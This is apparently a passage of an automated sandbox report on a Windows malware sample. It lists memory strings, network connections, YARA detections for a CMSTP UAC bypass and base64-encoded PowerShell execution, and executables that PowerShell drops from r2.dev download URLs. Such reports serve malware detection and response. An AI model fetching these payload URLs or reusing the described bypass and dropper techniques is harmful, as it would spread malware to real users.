                    Source: second.exe, 0000000C.00000003.1968874501.000001DE27593000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000000.1973091663.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000D.00000002.2120147353.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000F.00000002.2278993014.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmp, Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmpString found in binary or memory: http://www.virtualbox.org/ovf/machine
                    Source: pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098552982.0000000002F67000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277147084.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.vmware.com/0
                    Source: pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098552982.0000000002F67000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277147084.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.vmware.com/0/
                    Source: second.exe, 0000000C.00000003.1968874501.000001DE27593000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000000.1973091663.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000D.00000002.2120147353.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000F.00000002.2278993014.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmp, Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmpString found in binary or memory: http://www.vmware.com/interfaces/specifications/vmdk.html#compressed
                    Source: second.exe, 0000000C.00000003.1968874501.000001DE27593000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000000.1973091663.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000D.00000002.2120147353.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000F.00000002.2278993014.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmp, Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmpString found in binary or memory: http://www.vmware.com/interfaces/specifications/vmdk.html#compressedhttp://www.vmware.com/specificat
                    Source: second.exe, 0000000C.00000003.1968874501.000001DE27593000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000000.1973091663.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000D.00000002.2120147353.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000F.00000002.2278993014.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmp, Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmpString found in binary or memory: http://www.vmware.com/interfaces/specifications/vmdk.html#streamOptimized
                    Source: second.exe, 0000000C.00000003.1968874501.000001DE27593000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000000.1973091663.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000D.00000002.2120147353.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000F.00000002.2278993014.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmp, Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmpString found in binary or memory: http://www.vmware.com/schema/ovf/1/envelope
                    Source: second.exe, 0000000C.00000003.1968874501.000001DE27593000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000000.1973091663.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000D.00000002.2120147353.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000F.00000002.2278993014.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmp, Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmpString found in binary or memory: http://www.vmware.com/specifications/vmdk.html#compressed
                    Source: second.exe, 0000000C.00000003.1968874501.000001DE27593000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000000.1973091663.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000D.00000002.2120147353.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000F.00000002.2278993014.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmp, Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmpString found in binary or memory: http://www.vmware.com/specifications/vmdk.html#sparse
                    Source: second.exe, 0000000C.00000003.1968874501.000001DE27593000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000000.1973091663.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000D.00000002.2120147353.00007FF724847000.00000002.00000001.01000000.00000013.sdmp, Virtual.exe, 0000000F.00000002.2278993014.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmp, Virtual.exe, 0000000F.00000000.2097426759.00007FF690CE7000.00000002.00000001.01000000.0000001B.sdmpString found in binary or memory: http://www.vmware.com/specifications/vmdk.html#sparsehttp://www.vmware.com/interfaces/specifications
                    Source: powershell.exe, 00000001.00000002.1961025380.0000000004341000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore6lBkq
                    Source: powershell.exe, 00000001.00000002.1961025380.00000000053A8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
                    Source: powershell.exe, 00000001.00000002.1961025380.00000000053A8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
                    Source: powershell.exe, 00000001.00000002.1961025380.00000000053A8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
                    Source: pyexec.exe, 00000004.00000002.1897982762.0000000000595000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098552982.0000000002F67000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277147084.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://d.symcb.com/cps0%
                    Source: pyexec.exe, 00000004.00000002.1897982762.0000000000595000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098552982.0000000002F67000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277147084.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://d.symcb.com/rpa0
                    Source: pyexec.exe, 00000004.00000002.1897982762.0000000000595000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://d.symcb.com/rpa0.
                    Source: svchost.exe, 0000000E.00000003.2060663071.000001B41F6C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
                    Source: svchost.exe, 0000000E.00000003.2060663071.000001B41F672000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
                    Source: svchost.exe, 0000000E.00000003.2060663071.000001B41F6C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://g.live.com/odclientsettings/ProdV2
                    Source: svchost.exe, 0000000E.00000003.2060663071.000001B41F6A3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2060663071.000001B41F707000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2060663071.000001B41F6E8000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.2060663071.000001B41F6F4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
                    Source: svchost.exe, 0000000E.00000003.2060663071.000001B41F6C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
                    Source: powershell.exe, 00000001.00000002.1961025380.0000000004499000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
                    Source: powershell.exe, 00000001.00000002.1961025380.00000000053A8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
                    Source: svchost.exe, 0000000E.00000003.2060663071.000001B41F6C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
                    Source: svchost.exe, 0000000E.00000003.2060663071.000001B41F672000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
                    Source: powershell.exe, 00000001.00000002.2138217471.000000000D891000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://pub-c5a18eb76e034d88899e1f44f859a849.r2.dev
                    Source: powershell.exe, 00000001.00000002.2138217471.000000000D891000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://pub-c5a18eb76e034d88899e1f44f859a849.r2.dev/second.exe
                    Source: powershell.exe, 00000001.00000002.1961025380.0000000004499000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://pub-e1fcdad8276d47dfad3f82f5936b9c53.r2.dev
                    Source: powershell.exe, 00000001.00000002.1961025380.0000000004499000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://pub-e1fcdad8276d47dfad3f82f5936b9c53.r2.dev/KNVYINNN.exe
                    Source: pyexec.exe, 00000004.00000002.1897982762.0000000000595000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://sectigo.com/CPS0
                    Source: pyexec.exe, 00000004.00000002.1900009727.0000000003380000.00000004.00000020.00020000.00000000.sdmp, pyexec.exe, 00000006.00000002.2004201753.0000000003386000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmp, Virtual.exe, 0000000D.00000002.2098552982.0000000002F67000.00000004.00000020.00020000.00000000.sdmp, Virtual.exe, 0000000F.00000002.2277147084.0000000003B01000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2419542755.0000000004BB5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.digicert.com/CPS0
                    Source: cmd.exe, 0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.globalsign.com/repository/0
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49731 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49782
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49834 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49769 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49828 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49793 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49805 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49810 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49799 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49834
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49777
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49782 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49799
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49810
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49731
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49730
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49730 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49793
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49822 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49828
                    Source: unknownNetwork traffic detected: HTTP traffic on port 49777 -> 443
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49805
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49769
                    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49822
                    Source: unknownHTTPS traffic detected: 172.66.0.235:443 -> 192.168.2.4:49730 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 162.159.140.237:443 -> 192.168.2.4:49731 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 104.21.72.125:443 -> 192.168.2.4:49769 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 104.21.72.125:443 -> 192.168.2.4:49777 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 104.21.72.125:443 -> 192.168.2.4:49782 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 104.21.72.125:443 -> 192.168.2.4:49793 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 104.21.72.125:443 -> 192.168.2.4:49799 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 104.21.72.125:443 -> 192.168.2.4:49805 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 104.21.72.125:443 -> 192.168.2.4:49810 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 104.21.72.125:443 -> 192.168.2.4:49822 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 104.21.72.125:443 -> 192.168.2.4:49828 version: TLS 1.2
                    Source: unknownHTTPS traffic detected: 104.21.72.125:443 -> 192.168.2.4:49834 version: TLS 1.2

                    System Summary

                    barindex
                    Malicious sample detected (through community Yara rule)
                    Source: 18.2.BQE_Fast.exe.26fdaed.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                    Source: 23.2.cmd.exe.4c546cd.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                    Source: 29.2.cmd.exe.4fdcacd.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                    Source: 10.2.cmd.exe.4ea3a00.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                    Source: 23.2.cmd.exe.2c507f8.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                    Source: 29.2.cmd.exe.4fdd6cd.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                    Source: 18.2.BQE_Fast.exe.26b8a20.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                    Source: 23.2.cmd.exe.4c0ea00.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                    Source: 23.2.cmd.exe.4c53acd.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                    Source: 10.2.cmd.exe.4ee8acd.4.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                    Source: 29.2.cmd.exe.4f97a00.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                    Source: 10.2.cmd.exe.4ee96cd.5.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                    Source: 18.2.BQE_Fast.exe.26fe6ed.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                    Source: Process Memory Space: powershell.exe PID: 6532, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
                    Powershell drops PE file
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\KNVYINNN.exeJump to dropped file
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\second.exeJump to dropped file
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: 3_2_00007FF7B1DDEA883_2_00007FF7B1DDEA88
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: 3_2_00007FF7B1DD84B03_2_00007FF7B1DD84B0
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: 3_2_00007FF7B1DDB31C3_2_00007FF7B1DDB31C
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: 3_2_00007FF7B1DE57003_2_00007FF7B1DE5700
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: 3_2_00007FF7B1DDDE903_2_00007FF7B1DDDE90
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: 3_2_00007FF7B1DD5D203_2_00007FF7B1DD5D20
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: 3_2_00007FF7B1DE682C3_2_00007FF7B1DE682C
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: 3_2_00007FF7B1DD72883_2_00007FF7B1DD7288
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: 3_2_00007FF7B1DE41FC3_2_00007FF7B1DE41FC
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: 3_2_00007FF7B1DEF9703_2_00007FF7B1DEF970
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: 3_2_00007FF7B1DFCBD83_2_00007FF7B1DFCBD8
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: 3_2_00007FF7B1DEFBEC3_2_00007FF7B1DEFBEC
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: 3_2_00007FF7B1DF93D03_2_00007FF7B1DF93D0
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: 3_2_00007FF7B1DF6BB43_2_00007FF7B1DF6BB4
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: 3_2_00007FF7B1DD6B783_2_00007FF7B1DD6B78
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: 3_2_00007FF7B1DF8F003_2_00007FF7B1DF8F00
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: 3_2_00007FF7B1DD65483_2_00007FF7B1DD6548
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: 3_2_00007FF7B1DF39043_2_00007FF7B1DF3904
                    Source: C:\Users\user\pyexec.exeCode function: 4_2_67013F104_2_67013F10
                    Source: C:\Users\user\pyexec.exeCode function: 4_2_670E9F304_2_670E9F30
                    Source: C:\Users\user\pyexec.exeCode function: 4_2_670E8DF04_2_670E8DF0
                    Source: C:\Users\user\pyexec.exeCode function: 4_2_670EBBC04_2_670EBBC0
                    Source: C:\Users\user\pyexec.exeCode function: 4_2_670113E14_2_670113E1
                    Source: C:\Users\user\pyexec.exeCode function: 4_2_670113E04_2_670113E0
                    Source: C:\Users\user\pyexec.exeCode function: 4_2_670122904_2_67012290
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeCode function: 6_2_669E3F106_2_669E3F10
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeCode function: 6_2_66AB9F306_2_66AB9F30
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeCode function: 6_2_66AB8DF06_2_66AB8DF0
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeCode function: 6_2_669E22906_2_669E2290
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeCode function: 6_2_66ABBBC06_2_66ABBBC0
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeCode function: 6_2_669E13E06_2_669E13E0
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeCode function: 6_2_669E13E16_2_669E13E1
                    Source: Joe Sandbox ViewDropped File: C:\Users\user\AppData\Local\Temp\BQE_Fast.exe B22BF1210B5FD173A210EBFA9092390AA0513C41E1914CBE161EB547F049EF91
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeCode function: String function: 66AF08E0 appears 245 times
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeCode function: String function: 66A9CAD0 appears 120 times
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeCode function: String function: 66AEFDF0 appears 212 times
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeCode function: String function: 66A77460 appears 36 times
                    Source: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exeCode function: String function: 66B11420 appears 83 times
                    Source: C:\Users\user\pyexec.exeCode function: String function: 67141420 appears 82 times
                    Source: C:\Users\user\pyexec.exeCode function: String function: 671208E0 appears 254 times
                    Source: C:\Users\user\pyexec.exeCode function: String function: 670A7460 appears 36 times
                    Source: C:\Users\user\pyexec.exeCode function: String function: 6711FDF0 appears 214 times
                    Source: C:\Users\user\pyexec.exeCode function: String function: 670CCAD0 appears 122 times
                    Source: BQE_Fast.exe.10.drStatic PE information: Resource name: ZIP type: Zip archive data (empty)
                    Source: sfywpwa.29.drStatic PE information: Number of sections : 12 > 10
                    Source: btbiig.10.drStatic PE information: Number of sections : 12 > 10
                    Source: C:\Windows\SysWOW64\mshta.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXEJump to behavior
                    Source: C:\Windows\SysWOW64\mshta.exeProcess created: Commandline size = 2628
                    Source: C:\Windows\SysWOW64\mshta.exeProcess created: Commandline size = 2628Jump to behavior
                    Source: 18.2.BQE_Fast.exe.26fdaed.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                    Source: 23.2.cmd.exe.4c546cd.2.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                    Source: 29.2.cmd.exe.4fdcacd.2.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                    Source: 10.2.cmd.exe.4ea3a00.2.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                    Source: 23.2.cmd.exe.2c507f8.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                    Source: 29.2.cmd.exe.4fdd6cd.4.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                    Source: 18.2.BQE_Fast.exe.26b8a20.1.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                    Source: 23.2.cmd.exe.4c0ea00.3.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                    Source: 23.2.cmd.exe.4c53acd.4.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                    Source: 10.2.cmd.exe.4ee8acd.4.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                    Source: 29.2.cmd.exe.4f97a00.3.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                    Source: 10.2.cmd.exe.4ee96cd.5.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                    Source: 18.2.BQE_Fast.exe.26fe6ed.2.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                    Source: Process Memory Space: powershell.exe PID: 6532, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
                    Source: classification engineClassification label: mal100.troj.spyw.expl.evad.winHTA@39/44@3/4
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: 3_2_00007FF7B1DD1C18 GetLastError,FormatMessageW,3_2_00007FF7B1DD1C18
                    Source: C:\Users\user\AppData\Roaming\KNVYINNN.exeCode function: 3_2_00007FF7B1DE405C FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,CreateStreamOnHGlobal,GdipAlloc,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,3_2_00007FF7B1DE405C
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCacheJump to behavior
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1456:120:WilError_03
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3396:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2308:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6552:120:WilError_03
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4iloails.yak.ps1Jump to behavior
                    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\explorer.exe
                    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\explorer.exe
                    Source: C:\Users\user\pyexec.exeCommand line argument: windows_exe4_2_00401110
